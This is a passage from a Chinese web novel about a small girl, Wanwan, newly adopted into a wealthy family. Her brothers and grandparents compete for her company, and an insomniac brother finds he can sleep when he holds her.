“算了，我抱着你走得快些。” 小婉婉商量未果，于是乖巧的趴在他肩头，小手体贴的帮他擦汗。 随着小人儿的举动，黎墨郢闻到了一股奶香，那种陌生的感觉又来了。 像是疲倦，浑身的重量都集中在双腿，灌了铅一样。 他才只是抱着她而已，就压制住了体内那股恐怖的力量。 看来他的猜测没有错，这个丫头，可以让他获得正常休息。 黎墨郢加快脚步，来到老宅子荒废的花圃，这里基本不会有人过来，所以就被黎墨郢改装成了秘密基地，只有他和黎墨冰知道。 随着黎墨郢抱着小婉婉进入里面，怀里的小丫头立刻双眼放光，发出“哇”的惊叹。 基本上，黎墨郢和黎墨冰小时候的玩具都存放在这里，另外他们还搭建了一个绿植秋千，每当夏日，绿色的爬山虎挂在上面，翠色的草坪，使得整片环境生机勃勃。 花圃里面还有篮球架、台球桌、各种体育类器材应有尽有，花圃的最中间还有一个能游泳的大池塘，说此处是男孩子的娱乐天堂，都不为过。 黎墨郢直接将小婉婉放下，让她在里面随意撒欢儿，他则坐在秋千架上短暂休息。 果不其然，轻松的感觉褪去，剩下的除了疲惫，一点睡意全无。 “三哥哥你快看大球球！” 小婉婉笨重的在架子上抱起了一个大圆球，吭哧吭哧的想要抱到黎墨郢面前。 可惜才走了几步，大皮球就脱了手，叽里咕噜的朝着一个方向滚去。 小婉婉迈开小短腿，追赶的好辛苦呀，等到好不容易追上了，还没抱起来，大皮球又滚远了。 小婉婉只好再次迈开小腿继续追…… 眼看着，小奶团子追着球越跑越远，黎墨郢脸上难得出现生无可恋的神情。 起身，黎墨郢快走，长腿轻松挡住了皮球。 下一秒，急着追球的小婉婉踩到了一块大石头，直接在地上摔了一跤！ 原本干干净净的小脸儿上，沾上了黑糊糊的泥吧，看得洁癖的黎墨郢太阳穴突突直跳。 “小笨蛋，真是败给你了！” 第12章 等着挨抽吧你 黎宅，主院。 半个小时前，黎老爷约了几个老伙计一起去钓鱼。 心血来潮他准备将喜爱的小孙女儿一并带上，给他们炫耀炫耀。 哪知过来找人，却被告知，孩子不见了！ 黎老爷质问夫人，老夫人又质问那两个负责照顾小婉婉的佣人。 二老得知小婉婉是被黎墨郢带走，立刻派人去东院寻找。 结果佣人都哭丧着脸回来：“老爷，三少爷那边的人说，他跟小小姐没回去过。” “两个孩子，怎么说丢就丢了？给我找，哪怕把家翻过来，也得把人给我找到！” 黎老爷自从身体康复，还是第一次发这么大火气。 霎时，黎家上上下下，全在寻找两个孩子。 后来哪怕家里的狗洞都翻了几遍，仍然没有两个孩子的踪迹。 黎老爷担心得不行，把在外工作的黎立轩和黎墨城都叫回来，一起想办法找人。 黎墨城得知小婉婉不见了，比任何人都要焦急。 但是理智告诉他不能慌，老三虽然还年轻，可他并不是会乱来的人。 他能带着婉婉一起玩，说明他是打心里接受了小妹。 “老二怎么不在？他经常跟老三在一起，应该知道他们在哪里。” 黎墨城的话点醒了老夫人，立刻追着佣人问：“老二呢？把他叫来，问问他知不知道？” 黎墨冰院里的佣人回答：“二少爷已经去找了，要是能找到，兴许应该在回来的路上。” “他往哪边去的？”黎墨城声音严肃。 佣人向院子的北面指了指：“他往宅子后头去了。” …… 黎墨冰打开花圃的木门，果真看见黎墨郢带着小小的一只奶团，靠着秋千睡着了。 他走过去，抬手捏住黎墨郢的鼻子，直至将他给憋醒。 黎墨郢睁开凤眸，眉心紧蹙，眼神迸射出清冷的戾气。 “干什么！” 黎墨冰哂笑，一把将睡着的小婉婉夺过来，由于力气太大，小人儿直接醒了，用小手揉着眼睛。 “把她给我。”黎墨郢站起身同他争夺。 黎墨冰后退了两步，与他拉开距离，说道：“全家都找你们找疯了，你倒好，把小妹藏在这儿，还把她浑身弄的脏兮兮，等着回去挨抽吧你！” 不过说到脏，黎墨冰心里升起微妙的好奇。 老三这家伙，竟然不再对她洁癖了？ 黎墨郢年轻的脸拉得老长，黑沉宛若地狱之中走出的幽鬼。 冷哼了一声。 “吓唬我？” “我吓没吓唬你，你自己回去看看！” 黎墨冰白了他一眼，转身抱着小婉婉，快步往外走。 小婉婉从侧面看着黎墨冰紧绷的下颌线，把小脑瓜歪到了前面。 奶声奶气的询问：“二哥哥，你生气了吗？” 黎墨冰勾起一侧唇角，揉了揉她脏兮兮的小脸蛋儿。 “婉婉别怕，二哥气的是你三哥，没有跟你生气。” 说着，余光看见黎墨城满身寒意的出现。 黎墨冰讥诮的挑了挑眉。 “呦，连大哥都回来了？” 黎墨城清冷的目光从他脸上扫过，直接伸手要人。 “给我抱。” 黎墨冰不想撒手，奈何，怀里的小团子在看见黎墨城出现的一瞬间，身体就奔着他去了。 而且还很兴奋，主动张开两只小手要抱抱。 黎墨冰只好把小婉婉交给他，嘴里不忘小声抱怨：“好你个小白眼狼，有了大哥就不要二哥。” 小婉婉被说的有些不好意思，趴在黎墨城的肩头，弯弯的抿起小嘴，害羞了。 黎墨城身为大哥，本不该理会黎墨冰幼稚的争宠。 但他无法容忍怀里的小人儿，受到丝毫为难。 “挺大个人，跟孩子计较，你也是够了。” 说罢，他抱着小婉婉大步流星的往回走。 黎墨冰对着黎墨城的后脑勺做了个鬼脸，恰好被小婉婉看见，也学着他的样子，推着鼻子尖儿，把自己变成一只小猪。 逗得黎墨冰发出阵阵笑声，胸口的郁气都一扫而空。 …… 黎墨城抱着小婉婉一出现，负责照顾她的王妈和刘妈一起迎了上来。 “大少爷，多亏了你把小小姐找到，要不然，我们的工作就保不住了。” “谢谢大少爷！把小小姐给我们吧。” 黎墨城却拒绝了她们伸过来的手，吩咐道：“你们去回阿爷阿奶，小妹衣服脏了，我带她去五妈那儿换身新的。” 黎墨城说完，都不给她们反应的机会，抱着小婉婉就走了。 二人面面相觑，只好先回去复命。 “老夫人，真的不是我们不管小小姐，而是三少爷跟大少爷，都不让我们插手照顾。” “那你们看见墨城找到婉婉，她哭了没有？”黎老夫人焦急的问。 刘妈摇了摇头，回道：“没有，小小姐挺高兴的，只有衣服脏了一些，大少爷带她去五姨娘那边换去了。” 黎老夫人叹了一声，看向旁边的黎老爷：“那就让墨城先带着吧，他总比老三靠些谱，反正你钓鱼时间也过了，明天再去。” 黎老爷无奈点头，不过还是少不得落下几声埋怨。 “早知道就不该让他回来，一个二个天天过来抢人，害得我连孙女儿的影儿都摸不到！” 黎老爷心中暗忖，明天早上他起来，就把孙女儿带走，看他们还怎么抢！ …… 黎墨城抱着小婉婉来到张南的院子，后者准备伸手接孩子，却被他悄无声息的避开。 “小妹的房间收拾好了吗？” 张南颔首，眼神透着几分殷切。 “前天就收拾好了，婉婉要回来住吗？” 黎墨城回道：“带她过来洗个澡，换衣服，麻烦五妈告诉下人，打些热水过来。” “好，我就去。” 张南立刻去准备，黎墨城推门进了小婉婉的卧室，从柜子里取了几套小裙子，让她自己挑选。 “婉婉想穿哪一套？” 小婉婉大眼睛来来回回的看着那些小裙子，纠结的用小手抓了抓头上的呆毛。 “不知道。” “婉婉喜欢这些裙子吗？” “婉婉喜欢。” 就是都很喜欢，选择起来才很困难呀。 黎墨城看出小家伙的纠结，于是替她选了一身黄色的上下分离式短袖和短裙，拿给她看：“那婉婉穿这套怎么样？” “好。” 小家伙萌萌的点头，乖巧的模样，让黎墨城一刻都不愿意撒手，恨不得把全世界美好的东西都送到她面前，只为讨她一个笑。 第13章 老三又偷孩子了 尽管黎墨城不想假手于人，可婉婉毕竟是个女孩子，洗澡还是要由张南和佣人一起完成。 当白净净的奶团子从屋里跑出来，身上穿着那套黄色的小裙子，宛若翩翩起舞的小雏菊，一把抱住黎墨城的大长腿。 “大哥哥，婉婉洗过香香了，不信你闻闻。” 小婉婉努力的抬起小手，仍然只是堪堪的过了他的腿弯而已。 “好，我闻闻。”黎墨城蹲在地上，象征性的闻了一下。 “大哥哥，婉婉香不香？” “香！”黎墨城满眼的宠溺。 他发现小家伙头发上还带着未干的水渍，于是进房间拿起毛巾给她擦拭。 “墨城，要不还是我来吧？”张南让佣人去倒水，觉得自己在一旁杵着有些多余，于是对黎墨城提议。 黎墨城却直接抱着婉婉起身，说：“我带婉婉去我那边玩，五妈刚才辛苦了，先歇着吧。” “呃……其实也没多辛苦。”张南一个人自言自语。 而黎墨城早就带着婉婉出了门，直奔着自己的东院而去。 …… 黎老爷和黎夫人足足等到了天黑，迟迟不见小婉婉被送回去，于是着佣人去黎墨城那儿要人。 头两次，佣人都被黎墨城给打发了回来，直到晚上八点多，他终于抱着婉婉姗姗来迟的出现，让黎老爷和黎夫人抱怨了好一通。 不过二老抱怨归抱怨，兄妹之间关系好，他们也乐意得见。 所以他们让黎墨城留下来，陪婉婉玩到了九点，才让他回去。 “大哥哥拜拜。” 九点一过，小婉婉在老夫人的提醒下，对黎墨城挥小手道别。 黎墨城若不是因为长辈有意见，真想把她拐回自己那儿去。 “明天见。”黎墨城走的依依不舍。 小婉婉早就玩困了，趴在老夫人怀里，眼皮儿一垂一垂的打起了瞌睡。 “你们也早点休息吧，明天早上我过来接孙女儿，你早点给她收拾好。” 黎老爷自从生病后，就一直住在后面的别院修养。 如今病情康复，也没有提出搬过来的意思，老夫人也不催，守着小婉婉一个人，晚上睡觉更香！ “我知道了，你真是啰嗦。”黎老夫人敷衍的摆了摆手，随即抱着婉婉回房休息去了。 …… 夜，已经过半。 月光如在地面撒下了一捧凉水，反射着清冷的微光，映照少年刀削般清瘦的脸。 黎墨郢躺在院子里的摇椅上，尝试了多番，只要闭上眼睛，滚滚的黑云呼啸，黑色巨龙游荡在山巅，杀戮，惨叫，哀嚎声遍地。 头，痛的像要裂开。 黎墨郢只能睁着眼睛，一分一秒的，熬过这万籁俱寂的夜晚…… 凌晨四点多。 黎墨郢从噩梦中惊醒，他的后背，早就被汗水浸透，不断起伏的胸口，使他发出“喝喝”的呼吸声。 他早就厌倦了这样的煎熬！ 一个鲤鱼打挺从椅子上站起来，定了定神，朝主院的方位走去。 老夫人院里的佣人距离上工没剩下多久，黎墨郢赶在她们起来之前，悄无声息的潜入卧室。 双人软塌上，小婉婉枕着老夫人的胳膊，小身子自然的蜷缩成一团，小拳头也轻轻的攥着一片被角，睡相憨甜的张着小嘴儿。 黎墨郢看见小嘴儿里流出一汪亮晶晶的口水，几乎是拧着眉头，用袖口给她擦拭干净。 随即他趁着老夫人睡的正熟，将小婉婉轻轻的抱进怀里。 在和她接触到的瞬间，一股困意席卷而来，黎墨郢撑着沉重的眼皮，连娃娃带小被子，一并抱走。 他一口气跑回到卧室，自从开始梦魇，他几乎很少睡床，而此刻，怀里抱着小婉婉，一沾到枕头，瞬间就睡着了。 小婉婉还不知道自己已经换了张床，连身边的人也换了，翻了个身，小嘴儿吧唧吧唧，一只肉乎乎的小手，伸到少年的脸上，小腿也搭着他的细长的大腿，香喷喷的睡着大觉。 …… “孩子呢？” 黎老爷一早就来管老夫人要人。 黎老夫人刚刚被叫醒，看着旁边空空如也的位置，脸上大写的蒙圈。 “她昨天晚上跟我就睡在这儿的呀，怎么起来就不见了？” “你看看你，活到这把岁数，连个孩子都看不住！” 黎老爷拂袖而去，老夫人赶忙起来边上衣服，和他一同去寻找。 昨天经历过黎墨郢拐走小婉婉那一遭，今天他们自然将嫌疑人锁定给了黎墨郢。 两位长辈带着佣人呼呼呼呼啦来到东院，进入北门，把黎墨郢院子里的佣人都吓了一跳。 “老三在哪儿？婉婉是不是在他这儿！”黎老爷出声喝问。 常在黎墨郢身边照顾的佣人站出来回话：“是，小小姐和三少爷在屋里睡觉呢，现在还没起来。” “好他个臭小子，昨天没找他算账，今天还死性不改，敢去我屋里偷孩子！” 黎老夫人气势汹汹的冲到屋里，看见本来在自己屋里睡得好好的小孙女儿被拐过来，气的扬起手，就在黎墨郢的屁股上打了下去。 然后她抱起小婉婉，小人儿在她怀里睁开眼睛，小嘴圆溜溜的打了个小哈欠。 见到自己被老夫人抱着，甜甜的打招呼：“阿奶早上好。” “哎呦乖宝，阿奶把你吵醒了？都怪你三哥这个坏家伙，把我们婉婉偷这儿来，连觉都没睡好。” 小婉婉眨巴眨巴大眼睛，这才发现自己正在一间陌生的屋子里，扭着小脑瓜，看来又看去的。 黎墨郢本来睡得很沉，在小婉婉被抱走后，很快就睁开了眼睛。 他浑身放松的坐起来，伸了个懒腰，睡衣松松垮垮的挂在身上，纽扣都系窜了两颗。 “三哥哥！”小婉婉见他醒了，眯着又黑又亮的大眼睛，笑嘻嘻的跟他打招呼。 黎老夫人则对着他就是一番责怪：“臭小子，你一天到晚净搞怪！之前还对婉婉嫌弃的不行，现在可是转性，跑我房间去偷孩子？” 黎墨郢细长的凤眸落给她怀里的小婉婉，明明只睡了四个小时，却让他有种前所未有的酣畅。 是以，面对老夫人的斥责，他开口做出解释：“阿奶你知道，我这些年都被噩梦折磨，失眠已经成为常态。” 第14章 爷爷带小奶包去钓鱼 黎墨郢一提到他常年失眠这件事，黎老夫人综合他这两天的举动，瞬间醍醐灌顶。 “所以你跟婉婉在一块儿，治好了你的失眠？” “没错。”黎墨郢点了点头。 恰好在院子里等得不耐烦的黎老爷进门，听见他接下来的话：“每次我只要抱她，就会产生困意，我只想睡一个好觉，并不是搞恶作剧。” “原来如此……”同样是孙子，黎老夫人每一个都心疼。 尤其是黎墨郢，本来也是个性格活泼的孩子，如果不是六岁那年出了事，也不会养成这样古怪的性情。 她看向身后的黎老爷，眼神中透着对黎墨郢的理解。 黎老爷也叹了口气，想到六年前那件事，不免重拾愤怒，当即做了决定。 “那这几天就让婉婉过来跟老三睡，老二那边你尽快给他寻觅一个对象，从家里分出去！” “老爷……”黎老夫人没想到过了这么多年，丈夫还对当年的事心有余悸。 可黎老爷做事向来干错果断，眼神严厉的制止她的求情，走过来，伸出手：“把孩子给我！” “孩子还没吃饭，你这么着急做什么？”黎老夫人心中有气，说话没个好态度。 黎老爷脸一虎，直接上手把小婉婉给夺去了。 “让你给我就给我，我还能饿着她不成？”上一秒还在虎脸吓唬人的老爷子，转瞬在面对小婉婉的时候，变脸如同翻书。 只见他笑得像个大肚弥勒佛，一边抱着她往外走，一边轻声细语的商量：“婉婉跟阿爷去钓鱼，回来给你做肉肉吃？” “好，婉婉最喜欢吃肉肉。” 小婉婉没心没肺的拍打着小手，顶着一头睡乱的毛儿，高兴的咧开了小嘴儿。 黎老爷出门后，把她交给佣人，亲自盯着她们把小婉婉洗漱，换上漂亮的小衣服，笑呵呵的把她抱过来。 只是他还没走两步，刚要出院子门，黎墨城匆匆赶了过来。 “阿爷要带小妹出去？” 黎老爷刚答应黎墨郢把婉婉借他抱几天，气儿正不顺呢，眼下又来一个抢人的，他能有好脸色才怪。 “怎么？我带我孙女儿出去遛弯，还得经过你同意？” 黎墨城愣了一下，随即颔首，温声解释：“阿爷，我只是来看看小妹，今天要跟阿爸去内陆拓展市场，过来跟她说一声。” 商会的意外才过去几天，那日见到的血腥场景，黎墨城并未全部放下，若那天不是被婉婉绊住脚，恐怕他也要跟那些人一样，陈尸街头。 虽然日日来找小婉婉报备的做法有些不靠谱，可他也只是求个心安而已。 另外，他也真的舍不得可可爱爱的小妹，习惯了每天早晚，都来跟她见一面。 而这趟出差，最少也要几天才能回来。 好在黎老爷并没跟他较真，把孩子往他怀里一推，催促道：“那你赶紧，我到车里等着。” “是。” 黎墨城等老爷子走了，额头跟小婉婉的贴在一块儿蹭了蹭，瞬间闻到一股甜甜的奶香味儿，如同抱着一只软软蜜糖罐子，直让他舍不得撒手。 “婉婉早上吃了什么饭？” “吃……婉婉还没吃饭。”小婉婉想了一会儿，才想起没吃饭，拍了拍瘪瘪的小肚肚。 “那阿爷应该带你出去吃，婉婉，大哥要出去工作，你在家乖乖的，等大哥回来，给你买好吃的？” “好呀，谢谢大哥哥。”小婉婉兴奋得捧起他的脸，亲了一口。 黎墨城的眉眼都舒展开了，像被春风托着似的，止不住地上扬起来。 最后，还是黎老爷在车里等的不耐烦，返回院子来跟他要人。 黎墨城怀里的奶包子被抢走走，隔着黎老爷高冷的后脑勺，小婉婉对他挥了挥小手。 “大哥哥再见。” “再见。”黎墨城也抬手，依依不舍的挥动了几下。 …… 晨雾刚散时，黎老爷肩头扛着鱼竿，一手拎着水桶，笑吟吟的跟老友在常垂钓的小河边汇合。 “哎呦老黎，侬今日系过嚟钓鱼，定系野餐？我睇你身体，已康复差唔多嘞？” 老友问黎老是过来钓鱼还是野餐？ 只见黎老爷挂着皱纹的脸上堆着笑，向旁边躲了躲。 顿时，身后攥着他衣角的小人儿露了出来，她的头上梳着两颗小揪揪，眨巴着两颗亮晶晶的大眼睛，看着他的众多老友。 “这个女仔系边度嚟？” 这是哪来的女娃娃？ 黎老爷看着老友脸上的惊奇，颇具得意的放下水桶，将小婉婉抱起来炫耀。 “仲能边度嚟啊，当然系我孙女啦！” “你孙女？边個生嘎？你呢世点会有孙女嘅命？” 这位嘲笑黎老爷这辈子没有孙女命，下位一拍大腿，表情透着兴奋。 “我知啦，你屋企立轩系大陆娶返黎一位女士，呢个女仔系佢带过嚟嘅？” “又唔系你嘅亲孙女，有咩好同我哋炫耀啊？” 小婉婉的来历被猜到，还被老友说炫耀，黎老爷非但不恼，反而特别自豪的把小丫头给抱了起来。 怕小家伙听不懂他们的粤语，所以他干脆用港普话闲聊：“可不是我要眼气你们，看看你们一个个，也都到含饴弄孙的年纪，怎么没见你们领个孙子孙女儿出来？” 黎老爷这话就扎心了。 要知道他的这些老友，年岁都过了六旬，子孙如今都已长大成人，有的留在国外深造，有的干脆定居在了国外。 即便有呆在家里的，也是被娇惯坏了的千金少爷，宁可跟同龄人天天腻歪在一块，也不愿意跟他们这群老家伙到荒郊野地来钓鱼。 小婉婉不是亲生的又怎么样？ 光是这份孝心，也让黎老的朋友们羡慕红了眼睛。 “咪噏哻多，睇我今日一定超过你！” 钓友说罢，支起了鱼竿。 黎老则是不慌不忙，先从水桶里拿出一个防潮防凉的地垫，铺平在地上，而后将小婉婉抱坐在上面，将水桶里的零食一股脑的全都给她倒出来。 有她最爱吃的鱼蛋、鸡蛋仔，以及他特意带她到檀岛茶餐厅买的招牌蛋挞。 “婉婉在这儿先吃，阿爷这就去给你钓一条大鱼，好不好？” 小婉婉立即兴奋的点了点下巴：“爷爷钓多多的鱼，给婉婉吃。” 黎老爷给小孙女儿打了包票，信誓旦旦的走路都带风。 奈何，因为他去慢了一步，平日里几个好位置都被老友给占了，而且他还要照顾婉婉，不能走得太远，只得随便挑选了一处位置，坐下先打窝。 伴随着一阵哗啦啦水声，大鲤鱼上了老友的鱼钩。 反观黎老爷这边，半个多小时已经过去，却还连一点儿鱼腥都没有钓到。 第15章 老爷突然转性 “哈哈哈，老黎，你要多畀啲力先得?，千祈唔好喺孙女面前失威啊！” 老友让他多努努力，别在孙女儿面前丢脸？ 黎老爷背脊一僵，紧跟着，脸就沉了下来。 几位老友顿时“哈哈”大笑，还打趣他一大把年纪，别像年轻时候那般小心眼。 黎老爷一听，更生气了，隔着老远的距离跟他们吵嘴。 “你们几个怎么人越老，舌头越长？” “不是我们舌头长，是杆子长，才能钓到大鱼嘞！”这位老友一边说着话，竟然真的让他钓上来一条大鲢鱼。 黎老爷面色铁青，紧盯着河面，他今天特意用了最上等的食儿，怎么就是不上鱼？ 就在他苦思冥想，一张老脸都皱在一起的时候，并没有察觉到不远处的小婉婉从垫子上站了起来。 而他的几位老友也在说笑后，专心致志的钓着鱼，没有多余空闲留意小婉婉在做什么。 小婉婉先是挠了挠头，左看看，右看看，而后便迈开小短腿，沿着河床朝上游跑去。 很快，她迈着小短腿跑回来，而就在这一瞬间，黎老爷子感觉手中的鱼竿一沉，激动的起身提竿。 小婉婉兴奋的挥舞小手，小奶音比鱼线还着急：“看，是大鱼鱼，阿爷棒棒！” 黎老爷子在老友的眼皮子底下，钓上了一条十几斤的大鲤鱼，把刚得意了一阵儿的老友们，狠狠的羡慕了一把。 小婉婉则从兜里掏出没吃完的饼干，举到鲤鱼嘴边，奶声奶气的说道：“鱼鱼辛苦了，快吃点儿饼干。” 逗得黎老爷哈哈大笑，扬眉吐气，他把大鲤鱼丢进渔网，趁着手感好，他意犹未尽的坐了回去。 “婉婉，你等着，看阿爷还能钓到更大的！” “这个老黎，又在吹牛。”老友酸溜溜的说了一句。 没想到，老爷子竟然真的又钓上来一条更大的，让刚说话的老友脸上一阵火辣辣的烫。 “算他个老家伙运气好！” 哗啦。 又一条大鱼咬钩，饶是几位老友再不甘心，也都起身跑过来查看情况。 “点解嘅？你今日捅咗鱼窝咩？” 老友质问他今天是不是捅了鱼窝，黎老爷只是哈哈大笑。 自然不会告诉他们，自家孙女儿天生带着好运，他当然要钓大鱼了！ “哈哈哈，我说什么来的？我这人从不在小辈面前吹牛！”黎老爷好不得意。 几位老友只能面面相觑的看着。 “婉婉，你告诉阿爷，回家咱们先吃哪一条？”黎老爷将小婉婉抱在腿上问。 小婉婉向渔网里看了一眼，抱起小胳膊，老气横秋的说道：“这几条都不吃，我还要吃更大的鱼！” “好好好，那爷爷再钓更大的鱼，回家给我们婉婉吃好不好？” “好。”小婉婉奶声奶气的答应。 之后，黎老爷撑着鱼竿专心致志的钓鱼，小婉婉则负责在河边，从上游跑到下游，来回那么几次，就听‘哗啦’一声，黎老爷的鱼钩上了条超大的鲤鱼，得有半人多长。 黎老爷的几位老友见状，纷纷过来打算帮忙。 黎老爷却一挥手，非要自己把大鱼弄上来不可。 “呢个老嘢今日走咩运啊，搞到咁巴闭！” 黎老爷听见好友夸自己厉害，乐得满面红光。 “自然是走了大运！” 凭着最后一口气，黎老爷子将大鱼扯上了岸，小婉婉高兴的拍起小手。 “太好啦，今天晚上有大鱼鱼吃！” “哎呦，这个小女仔，一口一声阿爷喊得比那上钩的鱼还让人心里发甜。” “女仔，你阿爷钓上来的大鱼，让不让我们吃？” 黎老爷的老友们被她吸引了注意力，纷纷逗起了她。 小婉婉可不是小气的孩子，水灵灵的大眼睛弯成月牙，点了点头：“鱼鱼这么大，爷爷们都可以吃！” “啊哈哈哈哈，她还一点儿不小气！” “比你阿爷那个孤寒鬼强太多！” 众人在打趣间，太阳慢慢升起，河边越来越热了起来。 收获满满的黎老爷开始收网，除了最后钓上来的大鱼自己留着，其余的几条都分给了可怜的空军佬，免得他们回家没面子。 “走了婉婉，跟阿爷回家！” 小婉婉答应一声，离开前，没忘记跟几位长辈道别。 “爷爷们拜拜哦。” “拜拜。” “这个醒目女呀，老黎还真是有福气。” …… 黎老爷钓的那条鱼实在太大了，司机下了车，跑到院子里叫了两个佣人，合力才将它抬下了车。 “老爷今天运气不错，我还是头一回见他钓这么大的鱼回来。” “这么条大鱼放进池塘，里面可就热闹了。” 按照常理，老爷子每次钓鱼回来，根本就舍不得吃，都是放进池塘里养着。 然而今天黎老爷却一摆手，发了话：“把这家伙搬到厨房，挑最嫩的地方炖给我孙女儿吃，剩下的，给他们几家分了吧。” 佣人听后不可思议，老爷怎么突然就转了性？ 见她们都不动，黎老爷虎起脸：“怎么？听不懂我的话？” 佣人连声答应：“是，我们这就把它送到厨房，做好了给小小姐送去。” “快点去，别磨磨蹭蹭！” 黎老爷抱着小婉婉回到院子，黎老夫人正在拎着水管，对着花浇水。 看见他两手空空的回来，咯咯的笑了起来。 “你说你大热天的，出去钓什么鱼，空军回来的吧？” “谁说的？我钓了可大的鱼，这会儿在厨房里做呢！”黎老爷满脸不服气。 黎老夫人捂着嘴憋笑：“我才不信，你啊，多半是怕面子挂不住，偷偷去市场买回来的吧？” “瞎扯！”黎老爷瞪着眼珠子，把小婉婉拉出来作证：“婉婉，你告诉阿奶，阿爷是不是钓上了大鱼？” 小婉婉立即萌萌哒点头，随即跑到老夫人面前，用手比画起来。 “阿爷棒棒哒，钓了一条超大的鱼鱼，给婉婉做肉肉吃呢。” “阿爷这么厉害？”黎老夫人笑眯眯的抓起她的小手闻了闻。“哎呦，别说，小手上都是腥味儿，快点阿奶给你洗洗。” 黎老夫人就着浇花的水管，帮小婉婉冲洗小手。 小婉婉蹲在地上，就着水管里的水，冲的特别仔细，几乎把每一根小手指都洗干净了。 “闻闻，还有没有味道了？”黎老夫人关了水阀。 小婉婉把手指头放在鼻子下闻了闻，可爱的摇头：“不臭了，香香的。” 黎老夫人便催促：“那就好，快去屋里吃糕点，一会儿让你三哥都吃完，就没你的份儿了。” 第16章 婉婉懂事的让人心疼 小婉婉一听说有糕点，提起小裙子就往屋里跑。 黎墨郢坐在红木椅子上，用手捏着一块糕点，慢慢品尝。 “三哥哥！”小婉婉好似一个冲天炮，嗖的跑到他面前来。 扑灵扑灵的大眼睛盯着黎墨郢手里的糕点，粉色的小嘴儿弯弯的笑着，就连两只冲天扎起来的小揪揪，都格外兴奋。 “想吃吗？” “想吃！三哥哥看，我洗干净手了。”小婉婉把小手伸了过去。 奈何，她跟黎老爷在河边玩了一个上午，还吃了很多零食，油光都还挂在脸上，像画的小花猫儿似的。 “洗干净也脏。”黎墨郢嘴上这样说着，脸上却没有对她的半点儿嫌弃，伸长胳膊将她抱进怀里。 鱼腥味儿确实有些重，不过谁让她拥有特殊的能力，黎墨郢总是不由自主的想要跟她接触。 而就在她靠近怀里的一瞬间，他的神经便松缓下来，体内那股无法言说的力量，也在慢慢的被压制下去。 “自己拿着吃。”黎墨郢靠在座椅上，说了一句，就沉沉的闭上了眼睛。 意识模糊的那一刻，他想，应该是太久得不到休息，才会让他如此贪婪嗜睡。 黎老夫人浇好花进门，就看见小婉婉坐在黎墨郢的大腿上，对着糕点吃得正欢。 再看了眼酣睡的少年，无奈的笑了起来。 “哎呦，这家伙睡的倒是快！” 回忆这些年，黎墨郢性格孤傲，家里除了厚脸皮的黎墨冰能与他多走动，平日在各处院里，都甚少见到他的影子。 如今倒是因为添了婉婉，一个二个的没事儿都往她这儿跑，就连老三不近人的性格都改了很多。 “婉婉别吃太多，一会儿还有鱼吃。” “好，那我不吃糕点了，等着吃鱼鱼。”小婉婉立刻放下了手里的糕点。 小小的人儿别看年纪不大，却对每个人的话都认真对待，从不任性。 这让黎老夫人如何不喜欢？ 有时候甚至觉得，她懂事的都让人心疼。 “婉婉今天跟阿爷出去钓鱼，开不开心呀？” “开心。”小婉婉清脆的回答。 “那阿奶明天带你去逛花鸟市场，你想不想去？”黎老夫人心血来潮，也想带她出去玩一玩。 小婉婉也答应的特别痛快：“想去。” “那我们明天就去花鸟市场，给你买很多漂亮的花花。” “好！婉婉喜欢漂亮花花。” 小婉婉之所以每次有人提议要带她去做什么，都欢喜答应的原因，其实是在原来的家庭里，从来不被重视。 爸爸妈妈每天都吵架，哥哥们嫌她太小，玩的时候从来都不带她。 姐姐每次都会抢走别人送给她的玩具，说那些本来就是给她的。 而来到这个家以后，爷爷奶奶每天都陪着她，哥哥们有好的东西都给她，而且每个人都带她出去玩，小婉婉当然很开心啦！ 等鱼做好，也差不多到了开饭的时间。 黎老夫人将熟睡的黎墨郢叫醒，让他在这边一起吃了午饭。 饭后，黎老夫人要午休。 跟黎老爷出去玩了一上午的小婉婉也见了困，合起小手打了个奶奶香香的哈欠，小眼皮也一拉耸一拉耸的。 黎墨郢见状，提出要带婉婉去他那儿休息。 黎老夫人不放心的说：“你自己都要人照伺候，能把婉婉带好才怪，你要是也想睡，就在这儿挤一挤！” 黎墨郢眉头紧皱，他从六岁开始，就不和长辈同床睡了，现在却要他三个人一块挤？ 黎老夫人见他脸色纠结，白了一眼，不管他，兀自抱起婉婉躺在软塌上。 “哎呦，真舒服，是不是呀小宝贝？” 老夫人说的很大声，明摆着故意让外头的黎墨郢听见。 小婉婉乖巧的附和：“嗯嗯，婉婉跟阿奶睡觉觉，才能长高高！” 黎墨郢：“……” 听着屋里渐渐传出呼吸声，他还是起身走了进去。 软塌上，黎老夫人躺在最里面，小婉婉躺在中间，身上穿着平时睡觉穿的娃娃褂衣，一条小腿扔在老夫人的身上，睡得别提多香了。 尽管老夫人嘴上故意气人，却仍然给他留出了一块休息的地方，足够他躺下去。 黎墨郢一直以为，黎家孩子众多，光他父亲这一支就有六个。是以，他觉得除了大哥，剩余的孩子在长辈的眼里，是不被在乎的。 再加上七年的失眠症困扰，让他喜静，很少与家人接触，也就更加疏远了这份亲情。 而此刻，黎墨郢却通过长辈的细微的举动，感受到了他们的关怀。 纵然他心性再老成，也只是个十三岁的孩子而已。 没有哪个孩子会不想要被关心，黎墨郢，亦然。 黎墨郢握住小奶团柔软的小手，很快就有了困意，在细微的温暖中睡着。 …… “哎，我的老腰喔！” 黎老夫人艰难的坐起来，发现自己里面的位置被外头的混小子挤得就剩下一条缝了，怪不得她睡得腰酸背痛。 “臭小子，这么大了睡觉还不老实。” 黎老夫人后悔，让他留下来挤了。 从床上起身，她小心翼翼的移出去，把更多的位置腾出来给他们睡。 而后老夫人独自去了外面，叫唤佣人：“去，给我找大夫过来，这一觉睡的，快要了我半条老命。” 小婉婉睁开眼睛，就发现自己跟黎墨郢头碰着头的睡在一块儿。 而里面本来该阿奶睡的位置，则空了下来。 “阿奶呢？”小婉婉坐了起来。 紧接着黎墨郢也醒过来，揉了揉睡的昏昏沉沉的眼皮，对上小家伙满是疑惑的大眼睛。 “三哥哥，阿奶丢了。” 黎墨郢自然知道老夫人不会丢，应该是去了外面，有事才没过来。 “你要起来吗？”黎墨郢问。 小婉婉点了点头，随即就那么萌萌哒等着黎墨郢给她拿衣服。 黎墨郢想到以后要跟她一起睡觉，自然该承担起照顾她的责任。 他拿起旁边她睡前脱下的小裙子，找好前后，顺着她的头往下套。 “三哥哥等一等，我的小褂褂还没脱呢！” 小婉婉挥舞起两只小拳头抗议。 黎墨郢顿时懵住了，小婉婉挣脱他的手，费劲巴力的将小裙子从头上褥下来，累得长出了一口气。 第17章 真的好心累 “三哥哥，我要脱褂褂，男生不能看哦，羞羞的。”小婉婉一本正经的说着，还用小手刮了刮脸蛋儿。 黎墨郢满头黑线，没想到她一个不大的小人儿，竟然还知道害羞！ 